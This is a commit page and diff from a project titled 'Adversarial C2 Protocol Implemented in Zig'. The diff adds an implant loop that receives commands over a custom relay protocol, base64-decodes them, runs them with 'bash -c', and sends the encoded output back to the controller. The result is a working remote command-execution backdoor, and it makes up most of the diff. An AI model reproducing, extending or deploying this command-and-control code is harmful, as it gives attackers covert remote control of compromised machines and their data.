Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

things are SOOOO good....

+48 -8
+46 -8
src/main.zig
··· 90 90 return error.InvalidArguments; 91 91 } 92 92 93 - // std.debug.print("relay: {s}\n", .{flags.relay orelse "<null>"}); 94 - // std.debug.print("dest: {s}\n", .{flags.dest orelse "<null>"}); 95 - // std.debug.print("connect: {s}\n", .{flags.connect orelse "<null>"}); 96 - 97 93 const rand = blk: { 98 94 const io_source: std.Random.IoSource = .{ .io = init.io }; 99 95 break :blk io_source.interface(); ··· 203 199 const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)); 204 200 // udp dest port should not be 8888 after first 205 201 const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16)); 206 - const connection: SaprusMessage = .{ 202 + var connection: SaprusMessage = .{ 207 203 .connection = .{ 208 204 .src = src, 209 205 .dest = dest, ··· 216 212 try socket.attachSaprusPortFilter(src); 217 213 218 214 var connection_buf: [2048]u8 = undefined; 219 - const connection_bytes = connection.toBytes(&connection_buf); 215 + var connection_bytes = connection.toBytes(&connection_buf); 220 216 headers.setPayloadLen(connection_bytes.len); 221 217 222 218 var full_msg = blk: { ··· 230 226 try socket.send(full_msg); 231 227 var res_buf: [4096]u8 = undefined; 232 228 233 - const res = try socket.receive(&res_buf); 234 - std.debug.print("response: {any}\n", .{res}); 229 + var res = try socket.receive(&res_buf); 235 230 236 231 headers.udp.dst_port = udp_dest_port; 237 232 ··· 243 238 break :blk msg_w.buffered(); 244 239 }; 245 240 try socket.send(full_msg); 241 + 242 + while (true) { 243 + res = try socket.receive(&res_buf); 244 + const connection_res = blk: { 245 + const msg: SaprusMessage = try .parse(res[42..]); 246 + break :blk msg.connection; 247 + }; 248 + const b64d = std.base64.standard.Decoder; 249 + var connection_payload_buf: [4096]u8 = undefined; 250 + const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)]; 251 + try b64d.decode(connection_payload, connection_res.payload); 252 + 253 + const child = try std.process.spawn(init.io, .{ 254 + .argv = &.{ "bash", "-c", connection_payload }, 255 + .stdout = .pipe, 256 + .stderr = .pipe, 257 + }); 258 + 259 + var child_stdout: std.ArrayList(u8) = .empty; 260 + defer child_stdout.deinit(init.gpa); 261 + var child_stderr: std.ArrayList(u8) = .empty; 262 + defer child_stderr.deinit(init.gpa); 263 + 264 + try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096); 265 + 266 + const b64e = std.base64.standard.Encoder; 267 + var cmd_output_buf: [4096]u8 = undefined; 268 + const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items); 269 + 270 + connection.connection.payload = cmd_output; 271 + connection_bytes = connection.toBytes(&connection_buf); 272 + headers.setPayloadLen(connection_bytes.len); 273 + 274 + full_msg = blk: { 275 + var msg_buf: [2048]u8 = undefined; 276 + var msg_w: Writer = .fixed(&msg_buf); 277 + msg_w.writeAll(&headers.toBytes()) catch unreachable; 278 + msg_w.writeAll(connection_bytes) catch unreachable; 279 + break :blk msg_w.buffered(); 280 + }; 281 + 282 + try socket.send(full_msg); 283 + } 246 284 247 285 return; 248 286 }
+2
src/message.zig
··· 28 28 inline else => |m| m.toBytes(buf), 29 29 }; 30 30 } 31 + 32 + pub const parse = message.parse; 31 33 }; 32 34 33 35 pub const relay_dest_len = 4;